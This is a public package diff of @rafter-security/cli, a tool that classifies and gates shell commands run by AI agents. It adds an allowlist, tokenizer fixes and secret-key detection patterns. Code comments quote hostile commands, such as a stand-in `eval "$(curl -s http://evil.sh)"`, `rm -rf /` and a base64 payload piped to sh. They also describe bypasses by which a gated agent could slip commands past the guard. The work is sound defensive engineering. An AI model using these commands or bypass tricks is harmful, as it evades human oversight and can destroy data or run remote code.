@rafter-security/cli 0.10.3 → 0.10.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1,6 +1,6 @@
1
1
  import { ConfigManager } from "./config-manager.js";
2
2
  import { AuditLogger } from "./audit-logger.js";
3
- import { assessCommandRisk, matchedCriticalPattern, sanitizeCommandForMatching, } from "./risk-rules.js";
3
+ import { assessCommandRisk, matchedCriticalPattern, sanitizeCommandForMatching, isChainedCommand, } from "./risk-rules.js";
4
4
  export class CommandInterceptor {
5
5
  constructor() {
6
6
  this.config = new ConfigManager();
@@ -67,6 +67,48 @@ export class CommandInterceptor {
67
67
  };
68
68
  }
69
69
  }
70
+ // Check the positive allowlist. Deliberately AFTER blockedPatterns and
71
+ // BEFORE requireApproval: a deny rule always wins, and an allow rule's
72
+ // whole job is to suppress the approval prompt for a known-safe command.
73
+ //
74
+ // Two guards keep an allowlist from becoming a hole in the guard rail:
75
+ //
76
+ // - A `critical` command is never allowlistable. NOTE: this guard is
77
+ // currently UNREACHABLE — evaluate() hard-blocks critical at the top of
78
+ // the method, before this loop — and a mutation sweep proved it:
79
+ // deleting the guard leaves every test green, in both runtimes. Kept as
80
+ // defence in depth, because it becomes the only protection the day that
81
+ // early block is narrowed. Do not write a test claiming to exercise it;
82
+ // such a test passes with the guard deleted.
83
+ // - A match does not apply when the command holds more than one
84
+ // statement. Patterns are unanchored by request, so without this
85
+ // "^git push" would wave through `rm -rf / && git push` — or, via the
86
+ // newline the original regex missed, anything on a second line.
87
+ // Defence in depth behind the config validator: a non-array here is not
88
+ // merely wrong, it is dangerous. A bare string iterates as CHARACTERS, and
89
+ // the first one of `"^git status"` is `^`, which matches every command —
90
+ // the allowlist would allow everything. The validator catches the shape
91
+ // `config set` writes; this catches every other way it could arrive.
92
+ const allowedPatterns = Array.isArray(policy.allowedPatterns) ? policy.allowedPatterns : [];
93
+ for (const pattern of allowedPatterns) {
94
+ if (!this.matchesPattern(command, pattern))
95
+ continue;
96
+ if (isChainedCommand(command)) {
97
+ // Fall through to normal classification rather than allowing.
98
+ break;
99
+ }
100
+ if (this.assessRisk(command) === "critical") {
101
+ break;
102
+ }
103
+ return {
104
+ command,
105
+ riskLevel: "low",
106
+ allowed: true,
107
+ requiresApproval: false,
108
+ reason: `Matches allowed pattern: ${pattern}`,
109
+ matchedPattern: pattern
110
+ };
111
+ }
70
112
  // Check approval patterns
71
113
  for (const pattern of policy.requireApproval) {
72
114
  if (this.matchesPattern(command, pattern)) {
@@ -54,6 +54,8 @@ export function getDefaultConfig() {
54
54
  mode: "approve-dangerous",
55
55
  blockedPatterns: [...DEFAULT_BLOCKED_PATTERNS],
56
56
  requireApproval: [...DEFAULT_REQUIRE_APPROVAL],
57
+ // Empty by default: an allowlist is opt-in, per project.
58
+ allowedPatterns: [],
57
59
  },
58
60
  outputFiltering: {
59
61
  redactSecrets: true,
@@ -73,6 +73,10 @@ function validateConfig(raw) {
73
73
  console.error('Warning: config "agent.commandPolicy.blockedPatterns" must be an array of strings — using default.');
74
74
  cp.blockedPatterns = [...defaults.agent.commandPolicy.blockedPatterns];
75
75
  }
76
+ if (cp.allowedPatterns !== undefined && (!Array.isArray(cp.allowedPatterns) || !cp.allowedPatterns.every((v) => typeof v === "string"))) {
77
+ console.error('Warning: config "agent.commandPolicy.allowedPatterns" must be an array of strings — using default.');
78
+ cp.allowedPatterns = [...(defaults.agent.commandPolicy.allowedPatterns ?? [])];
79
+ }
76
80
  if (cp.requireApproval !== undefined && (!Array.isArray(cp.requireApproval) || !cp.requireApproval.every((v) => typeof v === "string"))) {
77
81
  console.error('Warning: config "agent.commandPolicy.requireApproval" must be an array of strings — using default.');
78
82
  cp.requireApproval = [...defaults.agent.commandPolicy.requireApproval];
@@ -285,10 +289,22 @@ export class ConfigManager {
285
289
  const policy = loadPolicy();
286
290
  if (!policy)
287
291
  return config;
288
- // Ensure agent block exists
292
+ // Ensure agent block exists, AND that commandPolicy inside it does.
293
+ //
294
+ // Checking only for `agent` was not enough. A config file that carries an
295
+ // `agent` block without a `commandPolicy` key — a partial or hand-edited
296
+ // ~/.rafter/config.json, which is a normal thing to have — reaches the
297
+ // assignments below and throws
298
+ // TypeError: Cannot set properties of undefined (setting 'mode')
299
+ // the moment the repo also has a .rafter.yml with a command_policy block.
300
+ // Found 2026-09-10 by an end-to-end test that loads a real config instead
301
+ // of a stub; the stubbed unit tests could not see it.
302
+ const agentDefaults = getDefaultConfig().agent;
289
303
  if (!config.agent) {
290
- const defaults = getDefaultConfig();
291
- config.agent = defaults.agent;
304
+ config.agent = agentDefaults;
305
+ }
306
+ if (!config.agent.commandPolicy) {
307
+ config.agent.commandPolicy = { ...agentDefaults.commandPolicy };
292
308
  }
293
309
  // Risk level
294
310
  if (policy.riskLevel && config.agent) {
@@ -465,6 +481,8 @@ export function mergeCommandPolicy(target, project, allowOverride) {
465
481
  target.blockedPatterns = project.blockedPatterns;
466
482
  if (project.requireApproval)
467
483
  target.requireApproval = project.requireApproval;
484
+ if (project.allowedPatterns)
485
+ target.allowedPatterns = project.allowedPatterns;
468
486
  return;
469
487
  }
470
488
  if (project.mode && project.mode !== target.mode) {
@@ -484,4 +502,16 @@ export function mergeCommandPolicy(target, project, allowOverride) {
484
502
  if (project.requireApproval) {
485
503
  target.requireApproval = unionPatterns(target.requireApproval, project.requireApproval);
486
504
  }
505
+ // allowedPatterns is NOT unioned, and that asymmetry is the whole point.
506
+ // Unioning blockedPatterns or requireApproval can only ever ADD restriction,
507
+ // so a project contributing to them is safe. An allowlist is the opposite:
508
+ // it is a grant. Union it and a cloned repo ships
509
+ // command_policy: { allowed_patterns: [".*"] }
510
+ // and waves every non-critical command through — which is precisely the
511
+ // bypass the floor exists to prevent (sable-nz4y / rf-adth). So the owner's
512
+ // allowlist stands and the project's is refused unless the owner has
513
+ // explicitly opted into project override.
514
+ if (project.allowedPatterns) {
515
+ console.error(`Warning: project policy sets agent.commandPolicy.allowed_patterns, which can only loosen command policy — ignoring. Set agent.commandPolicy.allowProjectOverride: true in your global config to allow project policies to loosen command policy.`);
516
+ }
487
517
  }
@@ -83,6 +83,9 @@ function mapPolicy(raw) {
83
83
  if (Array.isArray(raw.command_policy.require_approval)) {
84
84
  policy.commandPolicy.requireApproval = raw.command_policy.require_approval;
85
85
  }
86
+ if (Array.isArray(raw.command_policy.allowed_patterns)) {
87
+ policy.commandPolicy.allowedPatterns = raw.command_policy.allowed_patterns;
88
+ }
86
89
  }
87
90
  if (raw.scan && typeof raw.scan === "object") {
88
91
  policy.scan = {};
@@ -266,6 +269,12 @@ function validatePolicy(policy, raw) {
266
269
  delete policy.commandPolicy.requireApproval;
267
270
  }
268
271
  }
272
+ if (policy.commandPolicy.allowedPatterns !== undefined) {
273
+ if (!Array.isArray(policy.commandPolicy.allowedPatterns) || !policy.commandPolicy.allowedPatterns.every((v) => typeof v === "string")) {
274
+ console.error(`Warning: "command_policy.allowed_patterns" must be an array of strings — ignoring.`);
275
+ delete policy.commandPolicy.allowedPatterns;
276
+ }
277
+ }
269
278
  }
270
279
  if (policy.scan) {
271
280
  if (policy.scan.excludePaths !== undefined) {
@@ -106,7 +106,18 @@ export const DEFAULT_REQUIRE_APPROVAL = [
106
106
  /** Shells whose `-c` argument is a command string to execute. */
107
107
  const SHELL_EXECS = new Set(["bash", "sh", "zsh", "dash", "ksh", "ash", "fish", "su"]);
108
108
  /** Execs whose arguments are executable text (a remote command, a script). */
109
- const EVAL_EXECS = new Set(["eval", "exec", "ssh", "sshpass", "xargs"]);
109
+ const EVAL_EXECS = new Set([
110
+ // `trap 'cmd' EXIT` registers a command string that runs when the shell
111
+ // LEAVES. The payload is an ordinary quoted operand, so without this it is
112
+ // redacted as prose exactly as `echo "..."` correctly is. The deferral
113
+ // changes the deny message and the audit trail, not the decision. (rf-zvll A2)
114
+ "trap",
115
+ "eval",
116
+ "exec",
117
+ "ssh",
118
+ "sshpass",
119
+ "xargs",
120
+ ]);
110
121
  /** Flags carrying an executable string (`bash -c`, `python -c`, `mysql -e`, `find -exec`). */
111
122
  const EVAL_FLAGS = new Set(["-c", "-e", "--command", "--execute", "--eval", "-exec", "--exec"]);
112
123
  /** Prefix wrappers that delegate to the command that follows them. */
@@ -124,6 +135,13 @@ const TEXT_FLAGS = new Set([
124
135
  /** Operators that chain independent commands. */
125
136
  const CHAIN_OPS = new Set([";", "&&", "||", "|", "&"]);
126
137
  /** Operators whose following token is a redirect target (a path — never data). */
138
+ // `<<<` is deliberately ABSENT: it is a here-STRING, and its operand is stdin
139
+ // CONTENT, not a path. Treating it as a redirect target left the text
140
+ // untouched, which over-blocked a data owner (`cat <<< "…rm -rf /…" > notes.md`
141
+ // classified critical — #230's shape, one operator over) and under-blocked a
142
+ // shell one (`bash <<< "rm -rf /"` classified high, though the shell runs it).
143
+ // Falling through to the ordinary operand path asks the question the heredoc
144
+ // work already answers: does this command execute what it reads? (sable-4nt2)
127
145
  const REDIRECT_OPS = new Set([">", ">>", "<", "<<"]);
128
146
  /** Bound on recursion through nested shell wrappers / substitutions. */
129
147
  const MAX_SANITIZE_DEPTH = 8;
@@ -181,6 +199,24 @@ function tokenize(s) {
181
199
  i++;
182
200
  continue;
183
201
  }
202
+ // `<(cmd)` / `>(cmd)` — PROCESS SUBSTITUTION. The content is a command that
203
+ // RUNS, exactly as `$(cmd)` does, so it goes in substs and the existing
204
+ // recursive scan handles it with no new rule.
205
+ //
206
+ // Without this the tokenizer never forms the construct: it emits op `<`,
207
+ // which is in REDIRECT_OPS, so `(cmd` becomes a redirect TARGET and is left
208
+ // untouched, while the remaining words are redacted as the host's data
209
+ // operands. TWO independent wrong decisions that conspire —
210
+ // `ack <(rm -rf /)` sanitized to `ack <(rm `, harmless-looking head
211
+ // preserved and dangerous tail deleted. Fixing either alone leaves the
212
+ // bypass, which is worth knowing when reviewing this. (rf-zvll)
213
+ if ((c === "<" || c === ">") && s[i + 1] === "(") {
214
+ const start = i;
215
+ const r = readSubst(s, i);
216
+ i = r.next;
217
+ pieces.push({ start, end: i, op: null, text: "", quoted: false, substs: [r.inner] });
218
+ continue;
219
+ }
184
220
  if (isOpChar(c)) {
185
221
  const start = i;
186
222
  if (c === "\n" || c === "\r") {
@@ -190,7 +226,15 @@ function tokenize(s) {
190
226
  continue;
191
227
  }
192
228
  const two = s.slice(i, i + 2);
193
- const op = (two === "&&" || two === "||" || two === ">>" || two === "<<") ? two : c;
229
+ // `<<<` before `<<`, or it tokenizes as `<<` + `<` and the here-string
230
+ // operand becomes a redirect target — left untouched, which is how it
231
+ // ended up both over- and under-blocked (sable-4nt2).
232
+ const three = s.slice(i, i + 3);
233
+ const op = three === "<<<"
234
+ ? three
235
+ : (two === "&&" || two === "||" || two === ">>" || two === "<<")
236
+ ? two
237
+ : c;
194
238
  i += op.length;
195
239
  pieces.push({ start, end: i, op, text: op, quoted: false, substs: [] });
196
240
  continue;
@@ -749,6 +793,29 @@ function stripHeredocBodies(command) {
749
793
  export function sanitizeCommandForMatching(command) {
750
794
  return sanitize(stripHeredocBodies(command), 0);
751
795
  }
796
+ /**
797
+ * True if the command contains more than one statement.
798
+ *
799
+ * Asked of the TOKENIZER rather than a regex, deliberately. The first version
800
+ * of this was `/[;|&]|&&|\|\|/`, which omits the newline — and a newline has
801
+ * been a statement separator in this file since rf-6pqx, six lines from where
802
+ * that regex sat. The gap was reachable in one step: with `^git push origin
803
+ * feature/` allowlisted,
804
+ *
805
+ * git push origin feature/x
806
+ * git push --force origin main
807
+ *
808
+ * classified `allow`, because the chain check saw no operator. The agent being
809
+ * gated writes the whole string, so prefixing an allowlisted line is free.
810
+ *
811
+ * The tokenizer already normalises `\n` to `;`, so routing the question through
812
+ * it removes the second, narrower definition instead of widening it. One source
813
+ * of truth for "what separates two commands".
814
+ */
815
+ export function isChainedCommand(command) {
816
+ const { pieces } = tokenize(command);
817
+ return pieces.some((p) => p.op !== null && CHAIN_OPS.has(p.op));
818
+ }
752
819
  /**
753
820
  * Assess risk level of a command string.
754
821
  */
@@ -859,6 +926,84 @@ function disarmsRafter(command, depth = 0) {
859
926
  statements.push(stmt);
860
927
  return statements.some(statementDisarmsRafter);
861
928
  }
929
+ /**
930
+ * True if a SHELL receives its program through a channel rather than as a path.
931
+ *
932
+ * rf-zvll mechanism B. Three shapes, all measured EXECUTING by the sandboxed
933
+ * oracle while classifying `low`:
934
+ *
935
+ * cat payload.txt | sh the payload is in a file
936
+ * echo <b64> | base64 -d | sh the payload is encoded
937
+ * bash < payload.txt no pipe at all, just a redirect
938
+ *
939
+ * The classifier cannot read any of them, so no amount of better parsing
940
+ * recovers the payload — this is a POSTURE decision, not an analysis one.
941
+ *
942
+ * DELIBERATELY EXCLUDES a plain file ARGUMENT (`bash deploy.sh`). We cannot read
943
+ * that either, so the distinction is not one of RISK — it is one of FREQUENCY,
944
+ * and saying so plainly matters more than dressing it up. Measured over 13,613
945
+ * intercepted commands: stream forms are 0.022% of traffic in 2 of 665 repos,
946
+ * while `curl|wget` into a shell — already approval-gated — is 100 events. The
947
+ * form that already prompts is 33x more common than everything this newly
948
+ * gates. That sample is ONE machine; the limit is recorded on rf-zvll.
949
+ */
950
+ export function shellProgramFromStream(command) {
951
+ const { pieces } = tokenize(command);
952
+ const segments = [];
953
+ const enders = [];
954
+ let cur = [];
955
+ for (const piece of pieces) {
956
+ if (piece.op !== null && CHAIN_OPS.has(piece.op)) {
957
+ segments.push(cur);
958
+ enders.push(piece.op);
959
+ cur = [];
960
+ continue;
961
+ }
962
+ cur.push(piece);
963
+ }
964
+ segments.push(cur);
965
+ enders.push(null);
966
+ // Iterative, not one step: `env FOO=1 bash` needs two skips, and a single
967
+ // lookahead silently resolved to `FOO=1` — caught by its own test row.
968
+ const resolve = (seg) => {
969
+ const words = seg.filter((w) => w.op === null);
970
+ for (let k = 0; k < words.length; k++) {
971
+ const t = words[k].text;
972
+ if (ENV_ASSIGNMENT.test(t) || t.startsWith("-"))
973
+ continue;
974
+ if (TAIL_WRAPPERS.has(execName(t)))
975
+ continue;
976
+ return execName(t);
977
+ }
978
+ return "";
979
+ };
980
+ for (let idx = 0; idx < segments.length; idx++) {
981
+ const seg = segments[idx];
982
+ // `eval "$(cat f)"` / `eval "$(curl -s http://x)"` — a program-executing
983
+ // consumer fed from a substitution whose OUTPUT we cannot read. Same
984
+ // semantic test as the pipe case; pipe-vs-substitution is syntax.
985
+ //
986
+ // Deliberately ANY substitution, not only data-readers: a reader-only rule
987
+ // misses `eval "$(curl -s http://evil.sh)"`, remote code and the worst
988
+ // shape in the set. Measured cost of the broad rule: ZERO occurrences in
989
+ // 13,647 commands across 671 repos.
990
+ if (EVAL_EXECS.has(resolve(seg)) && seg.some((w) => w.op === null && w.substs.length)) {
991
+ return true;
992
+ }
993
+ if (SHELL_EXECS.has(resolve(seg))) {
994
+ // `bash < file` / `bash <<< str` — the program arrives on stdin.
995
+ for (const w of seg)
996
+ if (w.op === "<" || w.op === "<<<")
997
+ return true;
998
+ }
999
+ // `… | bash` — this segment's OUTPUT is the next one's program.
1000
+ if (enders[idx] === "|" && idx + 1 < segments.length) {
1001
+ if (SHELL_EXECS.has(resolve(segments[idx + 1])))
1002
+ return true;
1003
+ }
1004
+ }
1005
+ return false;
1006
+ }
862
1007
  export function assessCommandRisk(command) {
863
1008
  // rf-vnxs: checked on the RAW command, before sanitization, because the
864
1009
  // disarm is an ordinary well-formed invocation — there is nothing malformed
@@ -872,6 +1017,12 @@ export function assessCommandRisk(command) {
872
1017
  if (pattern.test(cmd))
873
1018
  return "critical";
874
1019
  }
1020
+ // rf-zvll B2: a shell fed its program from a channel we cannot read requires
1021
+ // approval. Checked AFTER critical so `echo 'rm -rf /' | sh` — where the
1022
+ // payload IS readable and matches — keeps its hard block rather than being
1023
+ // softened to approval.
1024
+ if (shellProgramFromStream(command))
1025
+ return "high";
875
1026
  for (const pattern of HIGH_PATTERNS) {
876
1027
  if (pattern.test(cmd))
877
1028
  return "high";
@@ -80,6 +80,34 @@ export const DEFAULT_SECRET_PATTERNS = [
80
80
  severity: "critical",
81
81
  description: "Stripe Restricted API Key detected"
82
82
  },
83
+ // OpenAI (rf-f5is / se-wagv, external report). The hook's Write gate is
84
+ // regex-only, and this file had NO OpenAI rule at all — so `sk-proj-` and
85
+ // legacy keys were ALLOWED through the gate at any length, while
86
+ // `rafter secrets` caught them via betterleaks. The two engines disagreed,
87
+ // and the one guarding writes was the blind one.
88
+ //
89
+ // No `(?i)`: these prefixes and their base62 bodies are case-sensitive, and
90
+ // the convention here is that prefixed vendor tokens (ghp_, AKIA, AIza, xox)
91
+ // match case-sensitively. Lower-casing them would only add false positives.
92
+ {
93
+ name: "OpenAI API Key",
94
+ regex: "sk-(proj|svcacct|admin)-[A-Za-z0-9_-]{40,}",
95
+ severity: "critical",
96
+ description: "OpenAI project/service/admin API key detected"
97
+ },
98
+ {
99
+ name: "OpenAI API Key (legacy)",
100
+ regex: "sk-[A-Za-z0-9]{20}T3BlbkFJ[A-Za-z0-9]{20}",
101
+ severity: "critical",
102
+ description: "OpenAI legacy API key detected"
103
+ },
104
+ // Supabase (rf-f5is / se-wagv). Detected by NEITHER engine at any length.
105
+ {
106
+ name: "Supabase Secret Key",
107
+ regex: "sb_secret_[A-Za-z0-9_-]{20,}",
108
+ severity: "critical",
109
+ description: "Supabase secret key detected"
110
+ },
83
111
  // Twilio
84
112
  {
85
113
  name: "Twilio API Key",
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@rafter-security/cli",
3
- "version": "0.10.3",
3
+ "version": "0.10.5",
4
4
  "type": "module",
5
5
  "repository": {
6
6
  "type": "git",
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  name: rafter-security
3
3
  description: Security toolkit for AI workflows. Use when scanning code or repos for vulnerabilities, auditing third-party skills/MCPs/agent configs before installing, evaluating shell commands before running them, or generating secure design questions for new features. Provides `rafter run` (remote SAST + SCA, needs RAFTER_API_KEY), `rafter secrets` (offline secrets-only), `rafter agent exec --dry-run` (command-risk classification), and `rafter skill review`.
4
- version: 0.10.3
4
+ version: 0.10.5
5
5
  homepage: https://rafter.so
6
6
  metadata:
7
7
  openclaw:
@@ -24,23 +24,46 @@ Every command (Bash-like tool call) gets classified into one of four tiers by `s
24
24
  | `high` | Destructive or privileged (force push, `sudo`, broad file deletion, curl | sh) | **prompt** the agent / user for approval |
25
25
  | `critical` | Likely irreversible damage (`rm -rf /`, DB drop, wiping .git, repo-wide chmod) | **block** hard |
26
26
 
27
- Tiers are derived from regex patterns in `risk-rules.ts` (`CRITICAL_PATTERNS`, `HIGH_PATTERNS`, `MEDIUM_PATTERNS`) plus a `SAFE_PREFIX` allowlist. Presence of chain operators (`&&`, `||`, `;`, `|`) disqualifies the safe-prefix shortcut.
27
+ Tiers are derived from regex patterns in `risk-rules.ts` (`CRITICAL_PATTERNS`, `HIGH_PATTERNS`, `MEDIUM_PATTERNS`) plus a `SAFE_PREFIX` allowlist. A command holding more than one statement disqualifies the safe-prefix shortcut. Statement separators are whatever the tokenizer treats as one — `&&`, `||`, `;`, `|`, `&`, and a NEWLINE — rather than a hand-kept list; the newline was missing from an earlier hand-kept copy and that was a live bypass.
28
28
 
29
29
  ## Policy Overrides
30
30
 
31
31
  `.rafter.yml` (project) and `~/.rafter/config.yml` (global) can override defaults:
32
32
 
33
33
  ```yaml
34
- risk:
34
+ command_policy:
35
35
  blocked_patterns:
36
36
  - "terraform destroy"
37
37
  require_approval:
38
38
  - "^npm publish"
39
- allow:
40
- - "^pnpm run test" # force low regardless of content
39
+ allowed_patterns:
40
+ - "^pnpm run test" # force low, skipping the approval prompt
41
+ - "git push --force-with-lease"
41
42
  ```
42
43
 
43
- Merge order (most specific wins): project `.rafter.yml` > global config > built-in defaults. Dump the effective merged policy with `rafter policy export`.
44
+ **On `allowed_patterns`.** Until 2026-09-07 this section documented a
45
+ `risk.allow` key that was never implemented — a customer went looking for it
46
+ and found nothing. The real key is `command_policy.allowed_patterns`, and it
47
+ now exists.
48
+
49
+ It is a positive allowlist for the known-safe command that trips a broad tier:
50
+ the motivating case is `git push --force-with-lease` to a feature branch on a
51
+ repo whose `main` is protected server-side, which classifies `high` and prompts
52
+ on every push even though the dangerous version cannot land. Dropping
53
+ `risk_level` to silence that is too blunt — it would also stop prompting for
54
+ `sudo` and `curl | sh`.
55
+
56
+ Three properties keep an allowlist from becoming a hole in the guard rail:
57
+
58
+ 1. **`blocked_patterns` always wins.** An allow rule never re-opens what a deny
59
+ rule closed.
60
+ 2. **`critical` is never allowlistable.** `rm -rf /`, a DB drop and wiping
61
+ `.git` stay blocked whatever the config says.
62
+ 3. **Chain operators disqualify a match.** Patterns are unanchored, so without
63
+ this `"git push"` would wave through `rm -rf / && git push`. A chained
64
+ command is classified exactly as it would be with no allowlist configured.
65
+
66
+ Merge order: project `.rafter.yml` > global config > built-in defaults for most keys — but NOT for `command_policy`, which is a floor. A project policy may tighten command policy and never loosen it: `mode` is accepted only if at least as strict, `blocked_patterns` and `require_approval` are unioned, and `allowed_patterns` — being a grant rather than a restriction — is refused outright unless the machine owner sets `agent.commandPolicy.allowProjectOverride: true` in their global config. Dump the effective merged policy with `rafter policy export`.
44
67
 
45
68
  ## How to Interpret a Block
46
69